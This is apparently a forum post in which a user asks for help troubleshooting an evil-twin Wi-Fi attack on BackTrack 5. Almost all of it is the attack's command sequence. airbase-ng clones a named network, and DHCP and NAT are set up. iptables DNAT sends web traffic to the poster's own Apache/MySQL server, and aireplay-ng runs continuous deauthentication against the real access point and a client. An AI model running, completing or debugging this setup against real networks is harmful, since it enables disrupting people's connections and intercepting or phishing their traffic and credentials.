if i create fake network "xxx" and try connect to "xxx" -> connection failed and after several second network disappears, please help

commands:

airbase-ng -e "xxx" -c "xxx" -a 00:12:23:34:45:56 mon0

ifconfig at0 up
ifconfig at0 192.168.2.129 netmask 255.255.255.128

route add -net 192.168.2.128 netmask 255.255.255.128 gw 192.168.2.129

dhcpd3 -cf /etc/dhcp3/dhcpd.conf -pf /var/run/dhcp3-server/dhcpd.pid at0
/etc/init.d/dhcp3-server start

iptables --flush
iptables --delete-chain
iptables --table nat --delete-chain
iptables --table nat --append POSTROUTING --out-interface wlan0 -j MASQUERADE
iptables --append FORWARD --in-interface at0 -j ACCEPT

echo 1 > /proc/sys/net/ipv4/ip_forward

start apache
start mysql

iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination "my IP"
iptables -t nat -A POSTROUTING -j MASQUERADE

airodump-ng --bssid "xxx" -c "x" mon0
aireplay-ng -0 0 -a bssid -c station mon0 --------->>> after this, i lost my connection, so i disconnect from current network and try connect to fake "xxx" network then failed :/
(backtrack 5 r3, virutalbox)

thank you, Chucky